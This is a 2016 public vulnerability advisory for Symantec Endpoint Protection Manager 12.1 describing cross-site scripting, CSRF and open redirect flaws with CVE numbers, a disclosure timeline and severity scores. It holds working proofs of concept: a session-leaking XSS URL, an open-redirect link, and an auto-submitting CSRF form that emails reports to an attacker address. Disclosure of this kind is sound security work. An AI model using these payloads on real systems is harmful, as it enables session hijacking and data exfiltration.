Symantec Endpoint Protection Manager 12.1 - Multiple Vulnerabilities

[+] Credits: John Page aka HYP3RLINX



[+] Website: hyp3rlinx.altervista.org



[+] Source:

http://hyp3rlinx.altervista.org/advisories/SYMANTEC-SEPM-MULTIPLE-VULNS.txt



[+] ISR: ApparitionSec





Vendor:

================

www.symantec.com





Product:

===========

SEPM

Symantec Endpoint Protection Manager and client v12.1



SEPM provides a centrally managed solution. It handles security policy

enforcement, host integrity checking (Symantec Network Access Control only),

and automated remediation over all clients. The policies functionality is

the heart of the Symantec software. Clients connect to the server to get the

latest policies, security settings, and software updates.





Vulnerability Type(s):

======================

Multiple Cross Site Scripting (XSS)

Cross Site Request Forgeries (CSRF)

Open Redirect





CVE Reference(s):

=================

CVE-2016-3652 / XSS

CVE-2016-3653 / CSRF

CVE-2016-5304 / Open Redirect





Vulnerability Details:

=====================



The management console for SEPM contains a number of security

vulnerabilities that could be used by a lower-privileged user or by

an unauthorized user to elevate privilege or gain access to unauthorized

information on the management server. Exploitation attempts of

these vulnerabilities requires access to the SEP Management console.





References:

============

https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160628_01





Exploit code(s):

===============



In this case XSS can bypass the "http-only" cookie protection because the

SEPM application writes and stores the session ID within various

javascript functions used by the application within the DOM thereby

exposing them directly to the XSS attack.



1) createModalDialogFromURL

2) createWindowFromURL

3) createWindowFromForm

4) createIEWindowFromForm



So all we need to do is alert(createModalDialogFromURL) anyone one of them

(functions) an it will leak the session ID essentially throwing the

HttpOnly secure cookie protection flag into the garbage.



e.g.



XSS POC Defeat http-only flag and access PHPSESSID:



https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29#







Open Redirect in external URL .php script:

=========================================



A reporting URL used to route generated reports externally to any

authorized URL is susceptible to an open redirect vulnerability

that could have allowed an authorized but less-privileged user to redirect

an unsuspecting privileged user to an external URL to

attempt further exploitation, e.g. phishing.





If a victim clicks on a link supplied by an attacker



e.g.



https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org







Cross Site Request Forgery (CSRF):

==================================



Multiple Cross Site Request Forgery exists in couple of places within this

version of SEPM below is an example of sending scheduled report to

an remote attackers email, if current logged in user visits malicious

webpage or clicks infected link etc...





Symantec Reporting Admin CSRF POC:



<form id="PWN" action="https://localhost:8445/Reporting/Reports/sr-save.php"

method="POST" />

<input type="hidden" name="ReportName" value="HELL" />

<input type="hidden" name="Description" value="PWNED!" />

<input type="hidden" name="DisableReportSchedule" value="on" />

<input type="hidden" name="NewReport" value="Y" />

<input type="hidden" name="reporttype" value="1" />

<input type="hidden" name="FILTERNAME" value="Default" />

<input type="hidden" name="runEvery" value="1" />

<input type="hidden" name="repeat" value="weekly" />

<input type="hidden" name="datesched1" value="02%2F10%2F2016" />

<input type="hidden" name="datesched2" value="02%2F10%2F2016" />

<input type="hidden" name="filHourSchedule" value="16" />

<input type="hidden" name="Schedulehour" value="16" />

<input type="hidden" name="filMinSchedule" value="56" />

<input type="hidden" name="Scheduleminute" value="56" />

<input type="hidden" name="sysadmin" value="off" />

<input type="hidden" name="sendto" value="evil@abyss.com" />

<input type="hidden" name="updatelastrun" value="0" />

<input type="hidden" name="HISTORYCONFIG_IDX" value="" />

<input type="hidden" name="ReportPrefix" value="Y" />

<input type="hidden" name="report_idx" value="Y-0" />

<script>document.getElementById('PWN').submit()</script>

</form>





Disclosure Timeline:

============================================

Vendor Notification: Febuary 11, 2016

Vendor Acknowledges Report: Febuary 12, 2016

Vendor Releases Fix: June 28, 2016

June 29, 2016 : Public Disclosure





Exploitation Technique:

=======================

Remote





Severity Level(s):

====================

Cross Site Scripting

Medium

v2 6.8

AV:A/AC:M/Au:S/C:C/I:C/A:N

v3 6.7

AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N



Cross Site Request Forgery

High

v2 7.0

AV:A/AC:M/Au:M/C:C/I:C/A:C

v3 7.1

AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H



Open Redirect

Medium

v2 4.1

AV:A/AC:L/Au:S/C:P/I:P/A:N

v3 4.1

AV:A/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N





[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author

prohibits any malicious use of security related information

or exploits by the author or elsewhere.



hyp3rlinx